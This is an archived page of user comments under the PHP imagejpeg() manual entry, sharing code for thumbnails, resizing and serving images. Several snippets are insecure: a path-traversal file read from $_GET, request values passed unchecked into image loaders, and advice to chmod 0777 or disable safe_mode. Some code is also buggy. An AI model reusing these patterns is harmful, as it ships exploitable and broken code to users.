                $src = imagecreatefromjpeg($uploadedfile);
                break;
            case 'image/gif':
                $src = imagecreatefromgif($uploadedfile);
                break;
            case 'image/png':
                $src = imagecreatefrompng($uploadedfile);
                break;
            default:
                return false;
        }

        //Change the filename to add the filetype
        $mime=split("image/",$info['mime']);
        $filename=$name.".".$mime[1];

        $size = getimagesize($uploadedfile);
        $newHeight=aspect_ratio($size[0],$newWidth,$size[1]);

        $tmp=imagecreatetruecolor($newWidth,$newHeight);

        // this line actually does the image resizing, copying from the original
        // image into the $tmp image
        imagecopyresampled($tmp,$src,0,0,0,0,$newWidth,$newHeight,$info[0], $info[1]);

        switch ($info['mime'])
        {
            case 'image/jpeg':
                imagejpeg($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/gif':
                imagegif($tmp,$filename,100); //100 is the quality settings, values range from 0-100.
                break;
            case 'image/png':
                imagepng($tmp,$filename); //100 is the quality settings, values range from 0-100.
                break;
        }

        imagedestroy($src);
        imagedestroy($tmp); // NOTE: PHP will clean up the temp file it created when the request
        // has completed.
        return true;
    }

    if(!createImage($uploadedfile,100, "uploaded_images/imgname"))
    {
      echo "error";
    }
?>
james [at] bellisinasce.it 20-Jan-2008 09:20
When using

ImageJpeg ($img, "", $qlty) or any other Image*() command, with direct output to browser, BE ABSOLUTELY CERTAIN that your php file does not contain any \r, \n, or white spaces before the <? and after the ?> signs.

This should always kept in mind, not only for the file you are executing BUT ALSO FOR ALL THE INCLUDES called during the file execution!

I got totally crazy about this, for a whole weekend :(
My php editor did not correctly display a \n sign, as I was locally using a different charset/OS.

example

<?
include ("/usr/www.example.com/inc/function.inc.php");
include ("/usr/www.example.com/inc/function.common.php");
connect_db0 ();
$admin_cookie = ckadmin_cookie ();
...
$img = file_get_contents ($path.$_GET['src']);
$im = imagecreatefromstring ($img);
header ("Content-Type: image/jpeg");
imageJPEG ($im);
imageDestroy ($im);
...

?>

If any of the included files, for any reason, prints an error message (or simply a warning) or has any white spaces/return/new line chars before "<?" or  after the ">?" signs, the result will be a broken image!

Even looking inside the defective image, it will be quite difficult to notice the unwanted characters, especially if you are using something like the windows' notepad... X(

If nothing is found, with the file/php editors, and you are not sure about your charset compatibility, I suggest to try to edit directly the files on the server, if possible, and search for all unwanted chars. ;)
pbijl 20-Dec-2007 03:37
note that using a different quality besides the default can result in strange cropping when resizing for example.
Michaelsoft 16-Oct-2007 02:50
I could not find any information on changing the DPI information on a JPG file using the GD lib. Since changing this does not resize or scale the actual image, it is only a header-setting.
The following snipplet will save your $image to $file and set the DPI to 150.

<?php

  imagejpeg($image, $file, 75);

  // Change DPI
  $dpi_x   = 150;
  $dpi_y   = 150;

  // Read the file
  $size    = filesize($file);
  $image   = file_get_contents($file);

  // Update DPI information in the JPG header
  $image[13] = chr(1);
  $image[14] = chr(floor($dpi_x/255));
  $image[15] = chr(      $dpi_x%255);
  $image[16] = chr(floor($dpi_y/255));
  $image[17] = chr(      $dpi_y%255);

  // Write the new JPG
  $f = fopen($file, 'w');
  fwrite($f, $msg, $size);
  fclose($f);

?>

P.s. not fully tested (yet) but it works for my images ...
Elliott Brueggeman 30-Jul-2007 09:37
I did an experiment with the image quality parameter of the imagejpeg() function when creating jpegs. I found the optimal image quality with file size is taken into account to be 80 - very close to the default value of 75.

Anything over 80 results in an unnecessary increase in file size without much increase in image quality.

Results and sample pictures: http://www.ebrueggeman.com/article_php_image_optimization.php
write2shadi [at] gmail [dot] com 30-Jul-2007 06:54
after seeking for 2 days why ImageJpeg() was writing an empty file to the server, it was due to insufficient disk space on my hosting plan.... hope this helps,
Pedja (pedja at supurovic dot net) 26-Jul-2007 10:59
Here is sample function that creates thumbnail of source JPEG file. Thumbnail wil be in square form (with and height are the same), and original image cropped to fit in.

Parameters:

$p_thumb_file - name of the file (including path) where thumb should be saved to

$p_photo_file - nam of the source JPEG file (including path) thatthumbnail should be created of

$p_max_size - with and height (they will be the same) in pixels for thumbnail image

$p_quality - quality of jpeg thumbnail

<?php

function photoCreateCropThumb ($p_thumb_file, $p_photo_file, $p_max_size, $p_quality = 75) {

    $pic = @imagecreatefromjpeg($p_photo_file);

    if ($pic) {
        $thumb = @imagecreatetruecolor ($p_max_size, $p_max_size) or die ("Can't create Image!");
        $width = imagesx($pic);
        $height = imagesy($pic);
        if ($width < $height) {
                $twidth = $p_max_size;
                $theight = $twidth * $height / $width;
                imagecopyresized($thumb, $pic, 0, 0, 0, ($height/2)-($width/2), $twidth, $theight, $width, $height);
        } else {
                $theight = $p_max_size;
                $twidth = $theight * $width / $height;
                imagecopyresized($thumb, $pic, 0, 0, ($width/2)-($height/2), 0, $twidth, $theight, $width, $height);
        }

        ImageJPEG ($thumb, $p_thumb_file, $p_quality);
    }

}

?>
Ross 27-Apr-2007 08:58
Just incase its confusing, i forgot to add

        $thumbwidth=70;
        $thumbheight=70;

to the top of the script below!
Ross 27-Apr-2007 07:53
This is a function that I had developed for a CMS.  The idea is that it runs from an upload form. The user uploads a hi-res image, which is copied to the server, a low res one is created (half the width/height of hi res) and a thumbnail is created.

The image is resized matching the smallest side of the image to the thumbnail size (in this example it is 70px).  The other side is then resized proportionally (which will end up being more than 70px) and cropped and centered so that it too is 70px.

There is a mixture of imagecopyresized and imagecopyresampled, i have chosen the ones that work best in this situation but imagecopyresampled gives a much nicer image.

Hope this helps someone.

        $dest_hires = "../images/artistsphotos/".$imageName."h.jpg";
        $dest_lowres = "../images/artistsphotos/".$imageName."l.jpg";
        $dest_thumbnail = "../images/artistsphotos/".$imageName."i.jpg";

        /*upload full size image to site - if it is hi res we do not want to manipulate it
        want to leave all qualit in tact.*/
        move_uploaded_file($_FILES["fileartimg"]["tmp_name"],"$dest_hires");

        $ims = getimagesize($dest_hires); //now we have dimensions of original image...

        /******creating lower res image******/
        $newwidth=ceil($ims[0]/2);//half the width of original file - use ceil() to avoid decimals.
        $newheight=ceil($ims[1]/2);//half the height

        $img = imagecreatetruecolor($newwidth,$newheight); //low res img - always use truecolor to prevent any 'wierd' colour effects.
        $org_img = imagecreatefromjpeg($dest_hires); //load in hi res

        imagecopyresized($img, $org_img, 0, 0, 0, 0, $newwidth, $newheight, $ims[0], $ims[1]);
        imagejpeg($img,$dest_lowres,80);//save to file low res img.
        imagedestroy($img);

        /******creating thumbnail******/
        //see which is bigger, x or y axis, then resize smaller side to 70.
        //$resizewidth is the temporary width of the thumbnail, it is in fact the width when it has been resized
        //using the apect ration and before cropping, at this stage the thumb will not be 70px X 70px
        //unless it is a square. Same applies to height ($resizeheight).
        //$thumbx and $thumby are the positions of the cropping are for thumbnail, these are calculated
        //so that the cropped image is centered.

        if ($ims[0]>$ims[1])
        {//then the width is bigger
            $aspectRatio = $ims[1]/70;

            $resizewidth=ceil($ims[0]/$aspectRatio);
            $resizeheight=70;

            $thumbx=ceil(($resizewidth - $thumbwidth)/2);
            $thumby=0;
        }
        else if ($ims[0]<$ims[1])
        {//then the height is bigger
            $aspectRatio = $ims[0]/70;

            $resizewidth=70;
            $resizeheight=ceil($ims[1]/$aspectRatio);

            $thumbx=0;
            $thumby=ceil(($resizeheight - $thumbheight)/2);
        }
        else if ($ims[0]==$ims[1])
        {//then we have a perfect square.
            $resizewidth=70;
            $resizeheight=70;
            $thumbx=0;
            $thumby=0;
        }

        $img = imagecreatetruecolor($resizewidth,$resizeheight);
        $org_img = imagecreatefromjpeg($dest_lowres);

        //this is the almost thumbnail sized image with everything resized to ratio
        imagecopyresampled($img, $org_img, 0, 0, 0, 0, $resizewidth, $resizeheight, $newwidth, $newheight);
        $img2 = imagecreatetruecolor($thumbwidth,$thumbheight);

        //this is the thumbnail image, where the above is cropped.
        imagecopyresized($img2, $img, 0, 0, $thumbx, $thumby, $resizewidth, $resizeheight, $resizewidth, $resizeheight);
        imagejpeg($img2,$dest_thumbnail,100);
        imagedestroy($img);
        imagedestroy($img2);
john at mtslink dot com 04-Jan-2007 08:07
Just wanted to mention that the create_thumbnail script below fails on uppercase filenames. Many cameras default to IMG_XX.JPG and since strpos is case sensitive it fails.

I changed all the strpos to stripos and it worked wonderfully.
webmaster at jongliertreff dot de 25-Aug-2006 04:56
Here's another on-the-fly thumbnail creation script.
When I scripted the pictuerviewer on my page, I had all the pictures only in full size and qualit, because I wanted the posibility für visitors to download the pictures.
But as Imagesizes of more than 4 MP are to large for websites, I created thumbnails and the smaller pictures on the fly. But I found out, that the Script needed too much RAM, especially in the thumbnail overview, when I had more then 50 thumbnails to create on the fly at the same time.

So I modified my image creator and my viewer to let them store images, that are created. So only the first visitor has to wait (which is usually me for controlling the uploads und updates), all other visitors get the stored images, which is much faster.

Create different folders. I have a main folder called 'imagesdb' and the tree subfolders full (Full quality images), show (images for the picture viewer) and thumb (for thumbnails in overview).

Store the script for example as image.php and link it like that:

<?PHP
$image_name = "foo.jpg";
$style = "show";
     // I've taken the foldernames. It's easier. For the
     //thumbnails replace "show" with "thumb".
$image_name = "imagesdb/$style/$image_name";
if(!file_exists($image_name))
        $image_name = "image.php?image_name=$image_name&style=$style";
     // only if file doesn't exist call the on-the-fly creating file
?>

Now the main script, stored in the file image.php:

<?PHP

$image_name = $_GET['image_name'];
$style = $_GET['style'];

     // Now set the maximum sizes to the different styles.
     // You may set additional styles, but remember to
     // create the according subfolders.

switch($style) {
  case "show":
    $max_size = 800;
    break;
  case "thumb":
    $max_size = 125;
}

$dest_file = "imagesdb/$style/$image_name";
     // set output file
$image_file = "imagesdb/full/$image_name";
     // set source file
$size = getimagesize($image_file);
     // get original size

if($size[0] > $size[1]) {
  $divisor = $size[0] / $max_size;
}
else {
  $divisor = $size[1] / $max_size;
}
     // to get allways pictures of the same size, which ist
     // mostly wanted in imageviewers, look what ist larger:
     // width or height

$new_width = $size[0] / $divisor;
$new_height = $size[1] / $divisor;
     // set new sizes

settype($new_width, 'integer');
settype($new_height, 'integer');
     // sizes should be integers

$image_big = imagecreatefromjpeg($image_file);
     // load original image
$image_small = imagecreatetruecolor($new_width, $new_height);
     // create new image
imagecopyresampled($image_small, $image_big, 0,0, 0,0, $new_width,$new_height, $size[0],$size[1]);
     // imageresampled whill result in a much higher quality
     // than imageresized
imagedestroy($image_big);
     // the original data are no longer used

header("Content-type: image/jpeg");

if($style=="show" || $style=="thumb") {
  if(!file_exists($dest_file))
    imagejpeg($image_small, $dest_file, 100);
}
     // if you have set additional sizese put them in the
     // if-arguments, too.
     // if someone calls the image.php directly in the
     // browser with imagenames allready existing, they
     // won't be overwritten

imagejpeg($image_small, '', 100);
imagedestroy($image_small);
     // finally send image to browser and destroy no longer
     // needed data.

?>

As this website helped me for several times in the past and for creating this script, I hope I can help others with this script saving the time for developing a much more performant solution than an allways-on-the-fly-creating script.
chris dot calo at gmail dot com 24-Jul-2006 07:30
Thanks to Stuart and Darren for the corrections to the create_thumbnail function.  Another note on that function: imagecreatefromwbmp was incorrectly used.  WBMPs are wireless bitmaps, not windows bitmaps (thanks to clambert at whitecrown), so the thumbnail routine as is will not be able to handle windows bitmaps.  See the notes at http://us2.php.net/manual/en/function.imagecreatefromwbmp.php for tips on working with windows bitmaps.
stuart at purpletoucan dot com 23-Jul-2006 10:55
Thanks to Chris dot Calo for the thumbnail snippet.  The file type issue is easily resolved by getting the type from the file with getimagesize, and you can handle unsupported types at that stage too.  Thus:

   list($img_width,$img_height, $type) = getimagesize($source_file); // Get the original dimentions
   if ($type != 1 && $type != 2 && $type != 3 && $type != 15) { die("Your file is not a supported format"); }

...and then later check the type again to open the image correctly:

   if ( $type == 1 ) { $img_source = imagecreatefromgif($source_file); }
   else if ( $type == 2 ) { $img_source = imagecreatefromjpeg($source_file); }
   else if ( $type == 3 ) { $img_source = imagecreatefrompng($source_file); }
   else if ( $type == 15 ) { $img_source = imagecreatefromwbmp($source_file); }
Darren Kulp ( kulp at thekulp dot com ) 18-Jul-2006 08:47
With regard to chris.calo's code:

// The following block retrieves the source file.  It assumes the filename extensions match the file's format.
   if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
   if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
 ... etc.

It assumes more than that, namely that the filename does not contain the strings '.gif', '.jpg', '.jpeg', '.bmp', or '.png' *anywhere* in the string. Some valid files with special filenames could break this; for example, a file named "used.to.be.a.png.file.gif" would cause this script to attempt to load the file as a PNG. Obviously this is a rare case, but the issue could be easily avoided by using "else ifs" (uses less CPU time) or checking that the extension abuts the end of the string or both.

That said, the whole business could be avoided if PHP didn't clutter the namespace with different functions to do the same thing with different image formats. Ick.
chris dot calo at gmail dot com 17-Jul-2006 02:44
function create_thumbnail( $source_file, $destination_file, $max_dimension)
{
    list($img_width,$img_height) = getimagesize($source_file); // Get the original dimentions
    $aspect_ratio = $img_width / $img_height;

    if ( ($img_width > $max_dimension) || ($img_height > $max_dimension) ) // If either dimension is too big...
    {
        if ( $img_width > $img_height ) // For wide images...
        {
            $new_width = $max_dimension;
            $new_height = $new_width / $aspect_ratio;
        }
        elseif ( $img_width < $img_height ) // For tall images...
        {
            $new_height = $max_dimension;
            $new_width = $new_height * $aspect_ratio;
        }
        elseif ( $img_width == $img_height ) // For square images...
        {
            $new_width = $max_dimension;
            $new_height = $max_dimension;
        }
        else { echo "Error reading image size."; return FALSE; }
    }
    else { $new_width = $img_width; $new_height = $img_height; } // If it's already smaller, don't change the size.

    // Make sure these are integers.
    $new_width = intval($new_width);
    $new_height = intval($new_height);

    $thumbnail = imagecreatetruecolor($new_width,$new_height); // Creates a new image in memory.

    // The following block retrieves the source file.  It assumes the filename extensions match the file's format.
    if ( strpos($source_file,".gif") ) { $img_source = imagecreatefromgif($source_file); }
    if ( (strpos($source_file,".jpg")) || (strpos($source_file,".jpeg")) )
    { $img_source = imagecreatefromjpeg($source_file); }
    if ( strpos($source_file,".bmp") ) { $img_source = imagecreatefromwbmp($source_file); }
    if ( strpos($source_file,".png") ) { $img_source = imagecreatefrompng($source_file); }

    // Here we resample and create the new jpeg.
    imagecopyresampled($thumbnail, $img_source, 0, 0, 0, 0, $new_width, $new_height, $img_width, $img_height);
    imagejpeg( $thumbnail, $destination_file, 100 );

    // Finally, we destroy the two images in memory.
    imagedestroy($img_source);
    imagedestroy($thumbnail);
}
your [dot] sheepy [at] gmail [dot] com 03-Apr-2006 01:34
Regarding Carl Gieringer's comment, it is possible to have PHP files in utf-8.  Just make sure the editor does not output BOM, which is unnecessary in utf-8 anyway.

Except for any editors from Microsoft, most programmer's editors that supports utf allows you to surpress BOM.
doobd at doobd dot com 15-Feb-2006 09:48
in addition to my THUMBNAIL GENERATOR script:

i forgot to say, src path must not be http:// but server path (e.g. for some linux server: src=/home/users/user1/public_html/images/image1.jpg) or relative path, as in example in script (src=test.jpg, src=../test.jpg, src=pictures/test.jpg...)
15-Feb-2006 07:44
THUMBNAIL GENERATOR

Hope someone will find this usefull... save it to thumb.php and use it for on-the-fly thumbnails generating

e.g.
<img src= "thumb.php?src=pic.jpg&wmax=150&hmax=100&quality=90&bgcol=FF0000"> </img>

<?php
    // by dooobd@NOSPAM.doobd.com
    //
    // proportional on-the-fly thumb generator from JPG images
    //
    // usage example:
    // <img src= "thumb.php?src=pic.jpg&wmax=150&hmax=100&quality=90&bgcol=FF0000"> </img>
    //
    // parameters:  src = source image
    //              wmax = max width
    //              hmax = max height
    //              quality = JPG quality of generated thumb - optional.
    //                        if not specified, quality=90
    //              bgcol = if specified, allways generates exact wmax x hmax sized thumb,
    //                      with bacground color bgcol and centered source image
    //
    // note: if source image is smaller than desired thumbnail, it will not be resized!

    header("Content-type: image/jpeg");
    $source = imagecreatefromjpeg($src);
    $orig_w=imagesx($source);
    $orig_h=imagesy($source);

    if ($orig_w>$wmax || $orig_h>$hmax)
    {
        $thumb_w=$wmax;
        $thumb_h=$hmax;
        if ($thumb_w/$orig_w*$orig_h>$thumb_h)
            $thumb_w=round($thumb_h*$orig_w/$orig_h);
        else
            $thumb_h=round($thumb_w*$orig_h/$orig_w);
    } else
    {
        $thumb_w=$orig_w;
        $thumb_h=$orig_h;
    }
    if (!@$bgcol)
    {
        $thumb=imagecreatetruecolor($thumb_w,$thumb_h);
        imagecopyresampled($thumb,$source,
                           0,0,0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);
    }
    else
    {
        $thumb=imagecreatetruecolor($wmax,$hmax);
        imagefilledrectangle($thumb,0,0,$wmax-1,$hmax-1,intval($bgcol,16));
        imagecopyresampled($thumb,$source,
                           round(($wmax-$thumb_w)/2),round(($hmax-$thumb_h)/2),
                           0,0,$thumb_w,$thumb_h,$orig_w,$orig_h);
    }
    if (!@$quality) $quality=90;
    imagejpeg($thumb,"",$quality);
    imagedestroy($thumb);
?>
valentinp at gmail dot com 06-Jan-2006 06:41
For all those people getting the

"Warning: imagejpeg(): Unable to access data ..."

I solved it by chmodding the directory you're writing to, to 0777.

NO fopen() needed!

Regards,
Valentin
03-Jan-2006 05:59
Hi

I had similar problem with safe mode. My solution is:

before imagejpeg(), touch() etc.
write:
ini_set(safe_mode,Off);
and after everything:
ini_set(safe_mode,On);

strange, but it works
Chears2All
aerowinx at hotmail dot de 22-Dec-2005 03:26
If imagejpeg brings up this warning:

Warning: imagejpeg(): Unable to access data ...

it could be a problem with "Safe Mode". A solution could be to touch the new file before, like:

touch($newfile);
imagejpeg($image_p, $newfile, 100);
Kenneth Keiter 17-Dec-2005 08:59
So.. after messing around with this beast of a function for hours, I discovered that it DOES NOT preserve the resource it is using the create the image, nor do imagepng() or imagegif(). By this I mean that you can not run two imagejpeg(), imagepng() or imagegif() calls on the same resource. Another possibly undocumented quirk... :-(
I_have at no_email_for_spam dot com 02-Nov-2005 09:01
The behaviour of not being allowed to write the file is based on a change in latest release, see http://www.php.net/ChangeLog-4.php#4.4.1

- Added missing safe_mode checks for image* functions and cURL.
- ...

Some people (including me) consider this new behaviour as broken, see also http://bugs.php.net/bug.php?id=35060 - please vote for/against the bug if you feel same/different.

Workaround is e.g. a touch($filename); before the imagejpeg($im,$filename);
moron at industrial dot org 02-Nov-2005 08:12
Please note that there is a bug report open for the currently broken safe_mode behaviour on this function:

http://bugs.php.net/?id=35060

According to the PHP staffer who has responded the docs are wrong (I don't agree but I'm also not their employee).

The work around is to use touch() (or any other file system function that can do this) to create the file first before using imagejpeg().
mitnick at cc dot lv 02-Nov-2005 02:26
i had the same problem as tobylewis had

when i tried to call imagejpeg(), width porperly parameters given it displayed
imagejpeg(): Unable to access usr/home/public_html/pic1.jpg

imho if not correctly configured server this function is not allowed to create the file on disk.

the workaround however is if you create the file using some other function, before call imagejpeg(). something like this

<?
$fh=fopen($file_name_dest,'w');
fclose($fh);
imagejpeg($dest,$file_name_dest, $quality);
?>
mbailey [at] aethon [dt] co [dt] uk 18-Sep-2005 01:46
>>Bram Van Dam's

note below is missing "()" from the ob_end_clean call:

ob_end_clean; // stop this output buffer

should read

ob_end_clean(); // stop this output buffer

You can then use this for adding content-length headers (for example flash requires a content length in advance to create loaders)

e.g.

...

ob_start(); // start a new output buffer
   imagejpeg( $newimage, "", 90 );
   $ImageData = ob_get_contents();
   $ImageDataLength = ob_get_length();
ob_end_clean(); // stop this output buffer

header("Content-type: image/jpeg") ;
header("Content-Length: ".$ImageDataLength);
echo $ImageData;

...
(enVide neFelibata) envide at tugamail dot com 28-Aug-2005 07:32
Every script I was writing was giving me an error.
When writing the following code I was able, as a client, to browse the website and save the images (Save image as...) with IE. Yet with Firefox and family the browser tried to save them as 'script_name.php' instead of 'image_name.jpg'.

<?php
    header("Content-Type: image/jpeg");
    imagejpeg($image,'',100); // Output to Browser
?>

After trying to save all the watermarked images or saving the image as 'temp.jpg' before outputing it to user, I've read this topic on BugZilla that advised to add the following header:

<?php
    header("Content-Type: image/jpeg");
    header("Content-Disposition: attachment; filename=image_name.jpg"); // THIS ONE
?>

Sorry about the English.
Bram Van Dam 19-Aug-2005 12:50
If you wish to capture the jpg data into a variable, rather than outputting it or saving it into a file (perhaps so you can put it in a database), you might want to consider output buffering. Something along these lines should work:

<?php
ob_start(); // start a new output buffer
    imagejpeg( $newimage, NULL, 100 );
    $ImageData = ob_get_contents();
ob_end_clean; // stop this output buffer
?>
John Luetke <johnl1479 gmail com> 05-Aug-2005 05:53
Rewrote the manual example into this function for creating a thumbnail image:

function thumbnail_jpeg ($original, $thumbnail, $width, $height, $quality) {
  list($width_orig, $height_orig) = getimagesize($original);
  if ($width && ($width_orig < $height_orig)) {
    $width = ($height / $height_orig) * $width_orig;
  }
        else {
    $height = ($width / $width_orig) * $height_orig;
  }
  $image_p = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($originial);
  imagecopyresampled($image_p, $image, 0, 0, 0, 0, $width, $height, $width_orig, $height_orig);
  imagejpeg($image_p, $thumbnail, $quality);
  return;
}
tobylewis at mac dot com 24-Jun-2005 07:04
After trying to get imagejpeg (and imagegif and imagepng) to save an image to a file for some time, it finally dawned on me that perhaps the function would not automatically create the file named in the second parameter.

I then used fopen to create a file prior to the call to imagejpeg and the image was successfully written to the file.  It did not seem to matter if fclose was called before or after the call to imagejpeg.

I also tried to create a file outside of php and use it as the target for output, but this initially failled because of permissions.  Once I set all write permissions on this also accepted output from imagejpeg.
ghokanso at cs dot ndsu dot edu 08-Jun-2005 09:54
When displaying an image using imagepng or imagejpeg, you may want/need to call "header("Content-type: image/jpeg")" before the imagepng and imagejpeg functions.
It appears that some servers/browers are striping out the default header so the image is not rendered and appears as raw data.
(Firefox 1.02+ and OSX Safari for example)
wojteksw at go2 dot pl 03-Apr-2005 03:37
I have changed one line in the script of Kokesh
25-Jun-2004 06:42 listed above, and now it generates better quality thumbnails.
You have to change function imagecopyresized() to imagecopyresampled()
nerdgirl at HATE_SPAMnerdgirl dot dk 27-Feb-2005 12:31
Here is an example of uploading an image, changing its size (width/height) and saving it to a new file. It uses ftp to upload both the original and the resized image. This is usefull in situations where ftp is your only option.

It took me a while to figure it out, so I hope this will save someone else a lot of time :-)

The following assumes that the image is uploaded from a form with a filefield called 'gfx'. I have left out all error checking to keep it simple, so remember to modify the code, to suit your needs.

<?php
$new_width = 100;
$new_height = 200;
$tmp_image=imagecreatefromjpeg($_FILES['gfx']['tmp_name']);
$width = imagesx($tmp_image);
$height = imagesy($tmp_image);
$new_image = imagecreatetruecolor($new_width,$new_height);
ImageCopyResized($new_image, $tmp_image,0,0,0,0, $new_width, $new_height, $width, $height);
//Grab new image
ob_start();
ImageJPEG($new_image);
$image_buffer = ob_get_contents();
ob_end_clean();
ImageDestroy($new_image);
//Create temporary file and write to it
$fp = tmpfile();
fwrite($fp, $image_buffer)) {
rewind($fp);
//Upload new image
$conn_id = ftp_connect('ftp.example.tld');
ftp_login($conn_id,'user','pass');
ftp_fput($conn_id,'path/to/new/file.jpg', $fp, FTP_BINARY);
fclose($fp);
?>
r dot duclos at chello dot fr 11-Feb-2005 06:41
Hy, here is a little code for generate a thumbnail, very good quality. Enjoy it !

<?php

function miniature($pict, $dest_pict){

    $handle = @imagecreatefromjpeg($pict);

    $x=imagesx($handle);
    $y=imagesy($handle);

        if($x > $y){
                $max = $x;
                $min = $y;
        }
        if($x <= $y){
                $max = $y;
                $min = $x;
        }

//$size_in_pixel : Size max of the label in pixel.  The size of the picture being
//proportional to the original, this value define maximum size
//of largest side with dimensions of the picture. Sorry for my english !

//Here $size_in_pixel = 100 for a thumbnail.
        $size_in_pixel = '100';

        $rate = $max/$size_in_pixel;
        $final_x = $x/$rate;
        $final_y = $y/$rate;

        if($final_x > $x) {
                $final_x = $x;
                $final_y = $y;
        }

        $final_x = ceil($final_x);
        $final_y = ceil($final_y);

        $black_picture = imageCreatetruecolor($final_x,$final_y);
        imagefill($black_picture,0,0,imagecolorallocate($black_picture, 255, 255, 255));
        imagecopyresampled($black_picture, $handle, 0, 0, 0, 0,$final_x, $final_y, $x, $y);

        if(!@imagejpeg($black_picture,$dest_pict.'/mini_'.$pict, $size_in_pixel))
        imagestring($black_picture, 1, $final_x-4, $final_y-8, ".", imagecolorallocate($black_picture,0,0,0));

        //The number is the quality of the result picture
        imagejpeg($black_picture,'', '100');
        imagedestroy($handle);
        imagedestroy($black_picture);
    }

$pict = "PICT7024.jpg";
$dest_pict = "D:/Program Files/EasyPHP1-7/www/test";
miniature($pict, $dest_pict);

?>
arjini at gmail dot com 12-Sep-2004 04:20
Scenario:
    When pointing your browser directly at a script outputting an image, it displays without problem, but when using it in another page via html (i.e. : img src="x.php?yada=yada" ), you get a broken image.

Reason:
    *Any* extra data sent along with the image will cause it to not display on other pages. Extra data may include, whitespace characters (check the begginings and ends of your files), or a call to session_start(), which is what got me.

Summary:
    If you're going to send an image DONT START A SESSION in the script that is outputting the image, and make sure that the PHP delimiters are the first and last things in your file.
10-Sep-2004 08:40
For best results, use only loss-less file formats (such as PNG) for storing images or image parts that you later intend to output with this function.
arjini at gmail dot com 07-Sep-2004 06:48
Converting a directory of PNG images into jpegs is as easy as:

<?php
    $d = dir('./');
    while(false !== ($e = $d->read())){
        if(strpos($e,'.png')){
            $r = imagecreatefrompng('./'.$e);
            imagejpeg($r,str_replace('.png','.jpg',$e),75);
        }
    }
?>

Don't let anybody convince you otherwise. Put that in the folder that the images are in and run it. I tried for 2 hours to get photoshop to do it, to no avail. PHP to the rescue!
Olav Alexander Mjelde 07-Jul-2004 05:31
Note to steve:
yes, this is true.. I simply forgot to think about that issue with the clear text to the script..

I think the easiest way to "fix" it, would be to replace the @ in the string with something which cant be used in an email adress..

Then the script would do a replace of excisting of that character..

abc@123.com would then be abc*123.com, which the script would parse back into abc@123.com
Steve 26-Jun-2004 06:14
Regarding Olav's attempt at avoiding spambots, the code will produce a string of code like requests.php?string=<email_address>, and most spambots will parse that email address right out.  You should either create static php scripts to output specific addresses, or do something like save a temporary file on the server with the address you want, and either pass the filename to the makeimage script or have the script open a specific file to check.  If you put the address anywhere on the page the spambot will parse it out, including a tag like href="mailto:xxx".  That's why people use forms to send email now.
Kokesh 25-Jun-2004 09:42
Here is the simple, but powerful script for creating thumbnails on the fly.
You can include the script
directly to www page - just put it in <img src= tag.
with width 150pix.
This resizer respects the ASPECT RATIO.
Here is the script:
<?php
// Use it this way: resize.php?pic=imageurl&width=width_in_pixels
// kokesh@kokeshnet.com 2004
    header("Content-type: image/jpeg");
    $im     = imagecreatefromjpeg($pic);
    $orange = imagecolorallocate($im, 220, 210, 60);
    $px     = (imagesx($im) - 7.5 * strlen($string)) / 2;

    $old_x=imageSX($im);
    $old_y=imageSY($im);

    $new_w=(int)($width);
    if (($new_w<=0) or ($new_w>$old_x)) {
      $new_w=$old_x;
    }

    $new_h=($old_x*($new_w/$old_x));

    if ($old_x > $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$old_y*($new_h/$old_x);

    }
    if ($old_x < $old_y) {
        $thumb_w=$old_x*($new_w/$old_y);
        $thumb_h=$new_h;
    }
    if ($old_x == $old_y) {
        $thumb_w=$new_w;
        $thumb_h=$new_h;
    }
     $thumb=ImageCreateTrueColor($thumb_w,$thumb_h);
     imagecopyresized($thumb,$im,0,0,0,0,$thumb_w,$thumb_h,$old_x,$old_y);

    imagejpeg($thumb,"",90);
    imagedestroy($thumb);
?>
rich @ richud dot com 24-Jun-2004 01:49
'quality' must be a whole number however if a mixed number is given it only uses whole part, e.g. a given value of 90.987 results in 90 being used.
Tom Davis 08-Jun-2004 03:49
I came across a problem where Internet Explorer refused to cache some dynamically created images. To get round this, send out a Last-Modified header.

Eg:

<?php

header('Last-Modified: '.gmdate('D, d M Y H:i:s', $timestamp).' GMT');
header('Content-Type: image/jpeg');
imagejpeg($photo);

?>
25-May-2004 11:42
A word of warning when outputting images to the browser...

Make sure there is no extra spaces around the <?php ?> tags, in the file you are editing, and also any included files.

I began to think there was a bug in GD or something, and I checked the file I was working on, but forgot about the includes...

Hours gone..
stick [at] geek [dot] hu 23-May-2004 04:08
Just a note to Olav Alexander Mjelde's code: don't forget to put an
imagedestroy($im);
at the end of it or you can run into memory problems.
jannehonkonen at hotmail dot com 04-May-2004 10:44
I had problem wanting to insert stealth - copyrights into images. I could have done this easily with fopen and such, but I still wanted to use imagejpeg(); and it's quality feature. Well this is one kind of solution what I discovered, and seems to work fine.

--code--
$filename = "http://www.domain.com/something.jpg";
$im = imagecreatefromjpeg($filename);
imagejpeg($im,$ModImg,65);
$ModImg .= "This is the text added after EOF of the jpeg";
echo $ModImg;
--code--

As imagejpeg(); inserts imagedata into $ModImg, it does not show the image, but it seems to send headers in that point, so header(); is not needed before echoing variable. Text is viewable with Hex-editors etc.
Olav Alexander Mjelde 07-Apr-2004 06:24
Some people have never heard of spambots, searching the net for email adresses.
How do you avoid this?
Some people write emails like: olav-x AT volvo-power.net (mine btw),
but this will confuse "stupid" users.
The optimal sollution is to have an image with your email adress on.

* When using this function,
you have to put it in a non-html php file..
eg. I put it in a makeimage.php file.
so, how do you display it?

In your users.php, put this:

echo "<b>Email:</b>&nbsp;
        <img src=\"/sql/phpPictures/makeimage.php
         ?string={$row['email']}\">";

Below is the makeimage.php (working example)

<?php
header("Content-type: image/jpg");
if (!isset($string))
  {
    $string = "Missing data";
  }

$font  = 4;
$width  = ImageFontWidth($font) * strlen($string);
$height = ImageFontHeight($font);

$im = @imagecreate ($width,$height);
//white background
$background_color = imagecolorallocate
                 ($im, 255, 255, 255);
//black text
$text_color = imagecolorallocate ($im, 0, 0,0);
imagestring ($im, $font, 0, 0,  $string, $text_color);

imagejpeg ($im);
?>

Enjoy..
php at andy-pearce dot com 19-Feb-2004 12:42
This might be too obvious, but perhaps worth pointing out. If you want to simply serve images without altering them, it's presumably more efficient to use something like the following:

<?php
    // Normally $filename would depend on $_GET, etc.
    $filename = '/photoalbum/images/test.jpg';
    header('Content-type: image/jpeg');
